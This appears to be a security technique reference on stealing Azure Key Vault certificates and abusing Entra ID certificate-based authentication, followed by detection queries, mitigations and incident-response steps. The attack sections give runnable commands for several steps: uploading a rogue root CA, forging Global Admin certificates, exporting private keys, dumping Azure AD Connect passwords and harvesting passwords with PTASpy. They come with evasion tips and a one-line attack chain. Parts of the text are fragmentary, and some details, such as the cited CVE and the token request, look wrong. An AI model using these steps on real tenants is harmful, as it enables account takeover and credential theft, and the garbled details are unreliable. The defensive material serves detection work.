| Attribute | Details |
|---|---|
| Technique ID | CERT-AZURE-001 |
| MITRE ATT&CK v18.1 | T1649 - Steal or Forge Authentication Certificates |
| Tactic | Credential Access |
| Platforms | Entra ID, Azure |
| Severity | Critical |
| CVE | CVE-2023-28432 (Related to cloud credential exposure patterns) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure all versions, Entra ID all versions |
| Patched In | N/A - Mitigation only, no vulnerability patch |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Key Vault Certificate Theft involves attackers extracting or abusing digital certificates stored in Azure Key Vault to establish persistent, passwordless authentication to Entra ID and Azure resources. This technique leverages Certificate-Based Authentication (CBA) to bypass traditional password-based security controls, including multi-factor authentication (MFA), enabling lateral movement and persistence in hybrid and cloud environments.
Attack Surface: Azure Key Vault (certificate endpoints), Entra ID authentication methods, Azure Resource Manager (ARM) APIs, and the managed identity credential chain.
Business Impact: Critical - Full Environment Compromise. An attacker exploiting this technique gains the ability to authenticate as any user in the Entra ID tenant, including Global Administrators, without requiring passwords or MFA, leading to complete compromise of Azure, Microsoft 365, and all federated applications. This enables data exfiltration, ransomware deployment, persistent backdoor installation, and regulatory compliance violations (GDPR, HIPAA, PCI-DSS fines up to 4% of annual revenue).
Technical Context: The technique requires either high-level Azure permissions (to enable CBA and upload malicious Root CAs) or direct access to Key Vault with certificate export permissions. Once a certificate is forged or stolen, it remains valid until certificate expiration, making password resets ineffective. Organizations with improper Conditional Access policies or disabled certificate validation enforcement are particularly vulnerable.
Get and Export permissions; easily detected if Certificate-Based Authentication is monitored.| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.1 | Ensure Azure AD multi-factor authentication is enabled for all users in administrative roles |
| DISA STIG | U-19045 | Azure must enforce certificate-based authentication for sensitive accounts |
| CISA SCuBA | AC-2 | Azure AD Account and Access Management |
| NIST 800-53 | IA-5 | Authentication - Certificate-based authentication with strong controls |
| NIST 800-53 | AC-3 | Access Enforcement - Restrict certificate issuance to authorized principals |
| GDPR | Art. 32 | Security of Processing - Cryptographic key and certificate management |
| DORA | Art. 9 | Protection and Prevention - Secure authentication controls |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Identity and Access Controls |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights (certificate-based credentials) |
| ISO 27005 | Risk Assessment | Risk to “Compromise of Administration Interface via Certificates” |
Required Privileges:
Directory.ReadWrite.All and Organization.ReadWrite.All (to enable CBA and upload CA certificates)Microsoft.KeyVault/vaults/certificates/read and Microsoft.KeyVault/vaults/certificates/getSecret/action (or equivalent)Required Access:
management.azure.com)*.vault.azure.net)Supported Versions:
Tools:
Identify Entra ID CBA Configuration Status:
What to Look For:
Identify Azure Key Vault Certificates:
Client Authentication EKU are valuable targetsWhat to Look For:
Check Current User Permissions on Key Vault:
# Connect to Azure
Connect-AzAccount
# List all Key Vaults the current user can access
Get-AzKeyVault
# Check permissions on a specific Key Vault
$vaultName = "YourKeyVaultName"
$vault = Get-AzKeyVault -VaultName $vaultName
# Get all certificates
$certificates = Get-AzKeyVaultCertificate -VaultName $vaultName
$certificates | Select-Object Name, Expires, Id
# Attempt to export a certificate (will show if export is allowed)
Try {
Get-AzKeyVaultCertificate -VaultName $vaultName -Name "SensitiveCert" | Export-AzKeyVaultCertificate -FilePath "C:\Temp\test.pfx"
Write-Host "Export ALLOWED - You have permission"
} Catch {
Write-Host "Export DENIED - Error: $_"
}
What to Look For:
Get-AzKeyVault returns vaults, you have at least Read permissionsCheck Entra ID Authentication Methods Configuration (Requires Directory.Read.All):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Directory.Read.All"
# Check if Certificate-Based Authentication is enabled
$authMethods = Get-MgIdentityAuthenticationMethodPolicy
# Retrieve CBA configuration
$cbaConfig = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig"
# Output the Root CA certificates (if CBA is enabled)
$cbaConfig.trustedCertificateAuthorities | Select-Object CertificateThumbprint, DisplayName, IsActive
What to Look For:
isEnabled = $true), note the Root CA certificatesOrganization.ReadWrite.All)List Key Vaults and Certificates:
# List all Key Vaults
az keyvault list --output table
# List certificates in a specific Key Vault
az keyvault certificate list --vault-name YourKeyVaultName --output table
# Get details of a specific certificate
az keyvault certificate show --vault-name YourKeyVaultName --name CertificateName
Check Certificate-Based Authentication:
# Retrieve CBA configuration (requires appropriate Graph permissions)
az rest --method get --url "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig" --output json
Objective: Enable CBA in the tenant, upload a malicious Root CA certificate, and forge valid authentication certificates to impersonate admin users.
Supported Versions: All versions of Entra ID and Azure
Prerequisite Permissions Required:
Directory.ReadWrite.All - To update authentication methodsOrganization.ReadWrite.All - To configure organization-wide policiesStep 1: Enable Certificate-Based Authentication in Entra ID
Manual Steps (Azure Portal):
https://portal.azure.com)Expected Output:
"Authentication method policy updated successfully"
What This Means:
OpSec & Evasion:
Update authentication method policyTroubleshooting:
Directory.ReadWrite.All or Organization.ReadWrite.AllStep 2: Create or Obtain a Root CA Certificate
Objective: Obtain or generate a certificate that will be used to sign forged authentication certificates. This certificate must be added to Entra ID’s trusted Root CAs.
Manual Steps (Linux - Using OpenSSL):
# Generate a self-signed Root CA certificate (valid for 10 years)
# This mimics a legitimate Certificate Authority
openssl genrsa -out ca_key.pem 2048
openssl req -new -x509 -days 3650 -key ca_key.pem -out ca_cert.pem \
-subj "/CN=Contoso Company Root CA/O=Contoso/C=US"
# Convert to PFX format (Azure requires PFX for upload)
openssl pkcs12 -export -out ca_cert.pfx -inkey ca_key.pem -in ca_cert.pem \
-password pass:YourPassword123
Expected Output:
ca_cert.pfx (PFX file containing both certificate and private key)
ca_cert.pem (Public certificate only)
What This Means:
.pfx file contains the private key (used to sign forged certificates).pem file contains only the public certificate (uploaded to Entra ID)OpSec & Evasion:
Step 3: Upload the Malicious Root CA to Entra ID’s Trusted CAs
Objective: Register the malicious Root CA so that certificates signed by it are trusted by Entra ID.
Manual Steps (PowerShell):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Directory.ReadWrite.All", "Organization.ReadWrite.All"
# Upload the Root CA certificate
$certPath = "C:\temp\ca_cert.pem"
$certContent = Get-Content -Path $certPath -Raw
# Add the certificate to the CBA trusted list
$body = @{
displayName = "Contoso Malicious Root CA"
certificate = $certContent
isActive = $true
} | ConvertTo-Json
$response = Invoke-MgGraphRequest -Method POST `
-Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig/trustedCertificateAuthorities" `
-Body $body `
-ContentType "application/json"
Write-Host "Root CA uploaded successfully: $($response.Id)"
Expected Output:
Root CA uploaded successfully: ccb4c4c4-1234-1234-1234-cccccccccccc
What This Means:
OpSec & Evasion:
Add trusted certificate authority or similarStep 4: Create Forged Authentication Certificates for Target Users
Objective: Generate certificates that impersonate high-value target users (e.g., Global Admins).
Manual Steps (Using AADInternals):
# Import the AADInternals module (install if needed)
Install-Module AADInternals -Force
Import-Module AADInternals
# Load the private key from the PFX file
$pfxPath = "C:\temp\ca_cert.pfx"
$pfxPassword = ConvertTo-SecureString -String "YourPassword123" -AsPlainText -Force
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 ($pfxPath, $pfxPassword)
# Get the target user's ImmutableId (unique identifier in hybrid scenarios)
# For cloud-only users, you can use the UPN directly
$targetUser = "admin@contoso.onmicrosoft.com"
$immutableId = "XXXXXXXX" # Obtain from Azure AD (on-premises sync required)
$issuerUri = "https://adfs.contoso.com/adfs/services/trust"
# Create a forged authentication certificate
$forgedCert = New-AADIntCertificate `
-UserPrincipalName $targetUser `
-ImmutableId $immutableId `
-IssuerUri $issuerUri `
-CAKeyPath $cert
# Export the certificate to PFX
$forgedCert | Export-PfxCertificate -FilePath "C:\temp\forged_admin.pfx" `
-Password (ConvertTo-SecureString "ForgedPassword123" -AsPlainText -Force)
Expected Output:
Certificate successfully created: admin@contoso.onmicrosoft.com
Exported to: C:\temp\forged_admin.pfx
What This Means:
OpSec & Evasion:
Step 5: Use the Forged Certificate for Authentication
Objective: Authenticate to Azure and Microsoft 365 using the forged certificate, bypassing password and MFA.
Manual Steps (Linux - Using curl + OpenSSL):
# Convert the PFX to PEM format for use with curl
openssl pkcs12 -in forged_admin.pfx -out forged_admin.pem -nodes \
-password pass:ForgedPassword123
# Authenticate to Azure using certificate-based authentication
curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/token \
--cert forged_admin.pem \
--cert-type PEM \
-d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
-d "scope=https://management.azure.com/.default" \
-d "grant_type=client_credentials"
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
"expires_in": 3599,
"token_type": "Bearer"
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Extract existing certificates (with private keys) from a Key Vault to use for authentication or signing attacks.
Supported Versions: All versions of Azure Key Vault
Prerequisite Permissions Required:
Microsoft.KeyVault/vaults/certificates/readMicrosoft.KeyVault/vaults/certificates/getSecret/action (to export private key)Step 1: Enumerate Key Vault Certificates
Manual Steps (PowerShell):
# Connect to Azure
Connect-AzAccount
# Get list of Key Vaults
$vaults = Get-AzKeyVault
Write-Host "Found $($vaults.Count) Key Vaults"
# For each vault, list certificates
foreach ($vault in $vaults) {
Write-Host "`nVault: $($vault.VaultName)"
$certs = Get-AzKeyVaultCertificate -VaultName $vault.VaultName
foreach ($cert in $certs) {
Write-Host " - $($cert.Name) | Expires: $($cert.Expires) | Thumbprint: $($cert.Thumbprint)"
}
}
Expected Output:
Vault: prod-kv-001
- ssl-cert-contoso | Expires: 12/31/2025 | Thumbprint: ABC123DEF456...
- app-auth-cert | Expires: 06/15/2027 | Thumbprint: XYZ789PQR321...
Vault: dev-kv-001
- legacy-cert | Expires: 01/30/2026 | Thumbprint: QWE456RTY789...
What to Look For:
Step 2: Export Certificates with Private Keys
Objective: Download the certificate including its private key from the Key Vault.
Manual Steps (PowerShell):
# Define the target certificate
$vaultName = "prod-kv-001"
$certName = "app-auth-cert"
# Download the certificate (without private key first)
$cert = Get-AzKeyVaultCertificate -VaultName $vaultName -Name $certName
# To get the private key, we need to retrieve the secret version
# The secret version matches the certificate version
$secretVersion = $cert.Version
$secret = Get-AzKeyVaultSecret -VaultName $vaultName -Name $certName -Version $secretVersion -AsPlainText
# Convert the secret to PFX (it's typically stored as base64-encoded PFX)
$pfxBytes = [Convert]::FromBase64String($secret)
$pfxPath = "C:\temp\stolen-$certName.pfx"
[System.IO.File]::WriteAllBytes($pfxPath, $pfxBytes)
Write-Host "Certificate exported to: $pfxPath"
Expected Output:
Certificate exported to: C:\temp\stolen-app-auth-cert.pfx
What This Means:
OpSec & Evasion:
Download certificateSecretGet operationTroubleshooting:
getSecret/action permissionaz role assignment create to grant the permission, or escalate privilegesStep 3: Use the Stolen Certificate for Persistence
Objective: Authenticate using the stolen certificate to maintain persistent access.
Manual Steps (Using Azure CLI):
# Convert PFX to PEM format
openssl pkcs12 -in stolen-app-auth-cert.pfx -out stolen-cert.pem -nodes
# Authenticate as the service principal using the certificate
az login --service-principal \
-u "CLIENT_ID" \
-p stolen-cert.pem \
--tenant "TENANT_ID"
# List accessible resources
az resource list --output table
# Export all Key Vaults and their secrets (for data exfiltration)
az keyvault secret list --vault-name "prod-kv-001" --output table
Expected Output:
Name Kind Value
────────────────────────────── ────── ─────────────
sql-admin-password secret ****
api-key-stripe secret ****
db-connection-string secret ****
What This Means:
Objective: Compromise an Azure AD Connect server to extract its synchronization account credentials and service principal certificate.
Supported Versions: All versions of Azure AD Connect
Prerequisite Permissions Required:
Step 1: Identify Azure AD Connect Servers
Manual Steps (PowerShell - On compromised server):
# Check if Azure AD Connect is installed
Get-WmiObject -Class Win32_Product | Where-Object { $_.Name -like "*Azure AD Connect*" }
# Locate the AD Connect installation directory
$adConnectPath = "C:\Program Files\Microsoft Azure AD Connect"
if (Test-Path $adConnectPath) {
Write-Host "Azure AD Connect found at: $adConnectPath"
Get-ChildItem $adConnectPath -Recurse | Where-Object { $_.Name -like "*cert*" -or $_.Name -like "*pfx*" }
}
What to Look For:
ADSync service)Step 2: Extract AD Connect Synchronization Credentials
Objective: Export the plaintext credentials of the AD DS Connector account and the Azure AD Connector account.
Manual Steps (PowerShell - Admin required):
# Import AADInternals module
Import-Module AADInternals
# Extract the synchronization credentials (requires local admin on AD Connect server)
$syncCreds = Get-AADIntSyncCredentials
# Output the credentials
Write-Host "AD Connector Account: $($syncCreds.ADConnectorAccount)"
Write-Host "AD Connector Password: $($syncCreds.ADConnectorPassword)"
Write-Host "Azure AD Connector Account: $($syncCreds.AzureADConnectorAccount)"
Write-Host "Azure AD Connector Password: $($syncCreds.AzureADConnectorPassword)"
# If the Azure AD Connector account is a Global Admin, this is a critical finding
if ($syncCreds.AzureADConnectorAccount -like "*admin*") {
Write-Host "[!] CRITICAL: AD Connect service account has Global Admin rights!"
}
Expected Output:
AD Connector Account: contoso.local\ADSync_12345
AD Connector Password: P@ssw0rd!Secure123
Azure AD Connector Account: Sync_ADConnect@contoso.onmicrosoft.com
Azure AD Connector Password: AzureP@ssw0rd!Secure456
[!] CRITICAL: AD Connect service account has Global Admin rights!
What This Means:
Objective: Extract the PTA (Pass-Through Authentication) agent certificate and create a backdoor agent.
Supported Versions: Azure AD Connect with PTA enabled
Step 1: Export PTA Agent Certificates and Bootstrap
Manual Steps (PowerShell - On AD Connect server):
# Import AADInternals
Import-Module AADInternals
# Export the PTA agent certificate
$ptaCert = Export-AADIntProxyAgentCertificates
$ptaCert | Save-Object -Path "C:\temp\pta_cert.pfx"
# Export the PTA bootstrap (used to register new agents)
$ptaBoot = Export-AADIntProxyAgentBootstraps
$ptaBoot | Save-Object -Path "C:\temp\pta_bootstrap.bin"
Write-Host "PTA certificates and bootstrap exported"
Expected Output:
PTA certificates and bootstrap exported
What This Means:
Step 2: Install Malicious PTA Agent on Attacker Machine
Objective: Register a fake PTA agent to intercept authentication requests.
Manual Steps (PowerShell - On attacker machine):
# Import AADInternals
Import-Module AADInternals
# Set up the malicious PTA agent using the stolen certificate
Set-AADIntPTACertificate -Certificate $ptaCert -Bootstrap $ptaBoot
# Inject PTASpy DLL for credential harvesting
Install-AADIntPTASpy
# Start harvesting credentials
While ($true) {
$log = Get-AADIntPTASpyLog
if ($log) {
Write-Host "[!] Captured credentials:"
$log | ForEach-Object { Write-Host " User: $($_.username) | Password: $($_.password)" }
}
Start-Sleep -Seconds 5
}
What This Means:
OpSec & Evasion:
Version: Latest (regularly updated) Minimum Version: 0.6.0 (for CBA support) Supported Platforms: Windows PowerShell 5.1+, PowerShell 7.0+ Core (cross-platform)
Installation:
# Install from PowerShell Gallery
Install-Module AADInternals -Force
# Or clone from GitHub
git clone https://github.com/Gerenios/AADInternals.git
Import-Module .\AADInternals\AADInternals.psd1
Critical Functions:
Get-AADIntSyncCredentials - Extract Azure AD Connect credentialsNew-AADIntCertificate - Create forged authentication certificatesExport-AADIntProxyAgentCertificates - Extract PTA agent credentialsExport-AADIntProxyAgentBootstraps - Extract PTA bootstrap dataInstall-AADIntPTASpy - Install credential harvesting backdoorGet-AADIntPTASpyLog - Retrieve harvested credentialsVersion: 8.0+ Minimum Version: 3.0.0 Supported Platforms: Windows, Linux, macOS
Installation:
Install-Module Az -Repository PSGallery -Force
Critical Cmdlets:
Connect-AzAccount - Authenticate to AzureGet-AzKeyVault - List Key VaultsGet-AzKeyVaultCertificate - List certificatesGet-AzKeyVaultSecret - Extract certificate with private keyVersion: 2.30.0+ Installation:
# Windows
msiexec.exe /I Azure CLI.msi
# Linux/macOS
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Complete attack chain (requires prerequisites)
$vaultName="prod-kv-001"; $certName="app-auth-cert";
$secret=(Get-AzKeyVaultSecret -VaultName $vaultName -Name $certName -AsPlainText);
$pfx=[Convert]::FromBase64String($secret); [IO.File]::WriteAllBytes("C:\temp\stolen.pfx",$pfx);
"[+] Certificate stolen to C:\temp\stolen.pfx"
Rule Configuration:
azure_audit_logs or main (if Azure logs ingested)azure:aad:audit or azurediagnosticsOperationName, ResultDescription, InitiatedBy, CallerIpAddressSPL Query:
index=azure_audit_logs OperationName IN ("Download certificate", "Get Certificate", "GetSecret")
ResultDescription != "Forbidden"
| stats count by InitiatedBy, CallerIpAddress, OperationName, ResourceId
| where count > 0
What This Detects:
Manual Configuration Steps (Splunk):
count > 0Rule Configuration:
azure_audit_logs or Unified Audit Log ingestedazure:aad:auditOperationName, InitiatedBy, Result, CorrelationIdSPL Query:
index=azure_audit_logs (OperationName="Update authentication method policy" OR OperationName="Add trusted certificate authority") Result="Success"
| stats count, latest(_time) as LastSeen by InitiatedBy.user, CallerIpAddress, OperationName
| where count >= 1
What This Detects:
Rule Configuration:
azure_audit_logs (SigninLogs table)azure:aad:signinlogsUserPrincipalName, AuthenticationDetails, ClientAppUsed, IPAddressSPL Query:
index=azure_audit_logs source="SigninLogs" AuthenticationDetails LIKE "%Certificate%"
| stats count by UserPrincipalName, ClientAppUsed, IPAddress, AuthenticationDetails
| where (date_mdy(NOW()) - strptime(_time, "%Y-%m-%d")) > 2 OR IPAddress NOT IN ("COMPANY_IP_RANGE")
What This Detects:
Rule Configuration:
AuditLogsOperationName, InitiatedBy, TargetResourcesKQL Query:
AuditLogs
| where OperationName in ("Update authentication method policy", "Add trusted certificate authority", "Set federation settings")
| where Result == "Success"
| project TimeGenerated, InitiatedBy, OperationName, TargetResources, CallerIpAddress, CorrelationId
| summarize AuthenticationChanges = dcount(OperationName) by InitiatedBy.user, CallerIpAddress
| where AuthenticationChanges > 1
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Certificate-Based Authentication ConfigurationHigh5 minutes1 hourRule Configuration:
SigninLogs and AuditLogsKQL Query:
SigninLogs
| where AuthenticationDetails has "Certificate"
| where AppDisplayName in ("Azure Management API", "Microsoft Graph", "Azure Resource Manager")
| where UserPrincipalName contains "@onmicrosoft.com" // Cloud-only user
| project TimeGenerated, UserPrincipalName, AppDisplayName, AuthenticationDetails, ClientAppUsed, IPAddress, ResourceIdentity
| join kind=inner (AuditLogs
| where OperationName == "Add trusted certificate authority"
| project TimeGenerated1=TimeGenerated, AddedCert=TargetResources
) on $left.TimeGenerated > $right.TimeGenerated
What This Detects:
Rule Configuration:
AzureDiagnostics (from Key Vault logs)KQL Query:
AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName in ("SecretGet", "CertificateGet")
| where ResultSignature == "OK" or ResultSignature == "200"
| project TimeGenerated, OperationName, Identity, ResourceId, CallerIpAddress
| summarize ExportCount = count(), UniqueVaults = dcount(ResourceId) by Identity, CallerIpAddress
| where ExportCount > 5
Manual Configuration Steps (PowerShell):
# Create KQL alert rule via PowerShell
$resourceGroup = "MyResourceGroup"
$workspaceName = "MySentinelWorkspace"
$ruleName = "Suspicious Key Vault Certificate Exports"
New-AzSentinelAlertRule -ResourceGroupName $resourceGroup `
-WorkspaceName $workspaceName `
-DisplayName $ruleName `
-Query @"
AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName in ("SecretGet", "CertificateGet")
| where ResultSignature == "OK"
| summarize ExportCount = count() by Identity, CallerIpAddress
| where ExportCount > 5
"@ `
-Severity "High" `
-Enabled $true
Event ID: 4887 (Certificate Services approved a certificate request and issued a certificate)
Subject Alternative Name (SAN) values that don’t match the requester’s identityManual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy):
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows
<!-- Detect AADInternals or certificate extraction tools -->
<Sysmon schemaversion="4.22">
<EventFiltering>
<!-- Monitor for Mimikatz or AADInternals execution -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">powershell.exe -NoProfile -NonInteractive -Hidden;New-AADIntCertificate;Export-AADIntProxyAgentCertificates;Get-AADIntSyncCredentials;AADInternals</CommandLine>
</ProcessCreate>
<!-- Monitor for certificate export operations -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains">\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Certificates</TargetObject>
</RegistryEvent>
<!-- Monitor for CryptoAPI certificate extraction -->
<Process onmatch="include">
<Image condition="contains">certutil.exe;certmgr.exe</Image>
</Process>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xmlsysmon64.exe -accepteula -i sysmon-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Unusual access to Key Vault detected”
Manual Configuration Steps (Enable Defender for Cloud):
# Connect to Exchange Online
Connect-ExchangeOnline
# Search for CBA-related operations
Search-UnifiedAuditLog -Operations "Update authentication method policy", "Add trusted certificate authority" `
-StartDate (Get-Date).AddDays(-30) `
-EndDate (Get-Date) | Export-Csv -Path "C:\audit_cba.csv"
# Search for key vault certificate exports
Search-UnifiedAuditLog -Operations "SecretGet", "CertificateGet" `
-StartDate (Get-Date).AddDays(-7) | Export-Csv -Path "C:\audit_keyvault.csv"
Manual Configuration Steps (Enable Unified Audit Log):
Mitigation 1: Disable Certificate-Based Authentication (if not required)
Entra ID CBA should only be enabled for organizations that explicitly need it. Most organizations should keep it disabled.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Directory.ReadWrite.All"
# Disable CBA
$body = @{
isEnabled = $false
} | ConvertTo-Json
Invoke-MgGraphRequest -Method PATCH `
-Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig" `
-Body $body
Validation Command:
# Verify CBA is disabled
$cbaConfig = Invoke-MgGraphRequest -Method GET `
-Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig"
if ($cbaConfig.isEnabled -eq $false) {
Write-Host "[✓] CBA is DISABLED - Good!"
} else {
Write-Host "[!] CBA is ENABLED - Review required"
}
Mitigation 2: Enforce Conditional Access for Certificate-Based Sign-ins
If CBA must be enabled, enforce MFA and device compliance.
Manual Steps (Azure Portal):
Require MFA for Certificate-Based AuthMitigation 3: Restrict Key Vault Access with Least Privilege
Only grant certificate export permissions to accounts that genuinely need them.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
$vaultName = "prod-kv-001"
$resourceGroup = "MyResourceGroup"
$principalId = "12345678-1234-1234-1234-123456789012" # Service Principal ObjectId
# Assign minimal permissions
New-AzRoleAssignment -ResourceGroupName $resourceGroup `
-ResourceName $vaultName `
-ResourceType "Microsoft.KeyVault/vaults" `
-RoleDefinitionName "Key Vault Secrets Officer" `
-ObjectId $principalId
Mitigation 4: Enable Key Vault Logging and Monitoring
Manual Steps (Azure Portal):
KeyVault-Audit-LogsAuditEvent (certificate access)All MetricsMitigation 5: Restrict Root CA Uploads to Global Admins Only
Ensure only Global Administrators can add trusted certificate authorities.
Manual Steps (PowerShell):
# Retrieve the current CBA config
$cbaConfig = Invoke-MgGraphRequest -Method GET `
-Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig"
# Review the trustedCertificateAuthorities list
$cbaConfig.trustedCertificateAuthorities | Select-Object @{Label="CA Name"; Expression={"$($_.displayName)"}}, CertificateThumbprint
# Remove any suspicious CAs
# (Manual review and deletion required - no bulk removal API available)
Mitigation 6: Migrate Azure AD Connect to Cloud Sync (if possible)
Azure AD Connect is a high-value target. Cloud Sync reduces the attack surface.
Manual Steps (Azure Portal):
Registry Keys:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 (certificate cache)HKLM\Software\Microsoft\Windows\CurrentVersion\Run (AADInternals persistence)HKLM\System\CurrentControlSet\Services\Kdc (Kerberos configuration changes)Files:
C:\temp\*.pfx (exported certificates)C:\Program Files\Microsoft Azure AD Connect\* (AD Connect files)%APPDATA%\AADInternals (AADInternals artifacts)Network:
login.microsoftonline.com (Azure authentication)*.vault.azure.net (Key Vault API)graph.microsoft.com (Microsoft Graph)Cloud (Entra ID/Azure):
AuditLogs table: OperationName = “Update authentication method policy”, “Add trusted certificate authority”SigninLogs table: AuthenticationDetails contains “Certificate”KeyVault diagnostic logs: SecretGet, CertificateGet operationsMemory:
Disk:
Azure/Cloud:
1. Immediate Isolation:
# Disable CBA immediately
Invoke-MgGraphRequest -Method PATCH `
-Uri "https://graph.microsoft.com/beta/identity/authenticationMethods/certificateBasedAuthConfig" `
-Body (@{ isEnabled = $false } | ConvertTo-Json)
# Remove malicious Root CAs
# (Requires manual identification and deletion)
2. Collect Evidence:
# Export all authentication-related audit logs
Search-UnifiedAuditLog -Operations "Update authentication method policy" -StartDate (Get-Date).AddDays(-90) | Export-Csv "C:\forensics\auth_logs.csv"
# Export Key Vault certificate access logs
Search-UnifiedAuditLog -Operations "SecretGet", "CertificateGet" -StartDate (Get-Date).AddDays(-90) | Export-Csv "C:\forensics\keyvault_logs.csv"
# Collect sign-in logs
Connect-MgGraph -Scopes "Directory.Read.All"
Get-MgAuditLogSignIn -Filter "createdDateTime gt $(Get-Date).AddDays(-90)" | Export-Csv "C:\forensics\signin_logs.csv"
3. Revoke Compromised Certificates:
# List all certificates in Key Vaults
Get-AzKeyVault | ForEach-Object { Get-AzKeyVaultCertificate -VaultName $_.VaultName }
# Revoke suspicious certificates (requires CA access)
# Contact the issuing CA to revoke the certificate by thumbprint
4. Remediate:
# Reset passwords for all Global Admins and service principals
# Revoke all active sessions
# Enable MFA enforcement
# Review and restrict all app role assignments
# Re-enable CBA with strict Conditional Access policies
# Upload new, legitimate Root CAs (if needed)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [CA-TOKEN-001] Hybrid AD cloud token theft | Attacker obtains initial credentials via Azure AD Connect compromise |
| 2 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Service principal is escalated to Directory.ReadWrite.All |
| 3 | Current Step | [CERT-AZURE-001] | Azure Key Vault Certificate Theft / CBA Abuse |
| 4 | Persistence | [CERT-M365-001] M365 Certificate Management Abuse | Attacker steals additional certificates from Key Vault |
| 5 | Lateral Movement | [CERT-FEDERATION-001] Federation Certificate Manipulation | Attacker forges federation certificates to compromise on-premises AD |
| 6 | Impact | [Data Exfiltration via Microsoft Graph] | Attacker uses compromised certificates to exfiltrate all tenant data |
CERT-AZURE-001: Azure Key Vault Certificate Theft is a CRITICAL attack technique that enables persistent, passwordless access to Entra ID and Azure environments. Organizations must:
The absence of visible evidence in traditional logs (password hash capture, process execution) makes this attack particularly dangerous and difficult to detect without dedicated certificate and identity logging.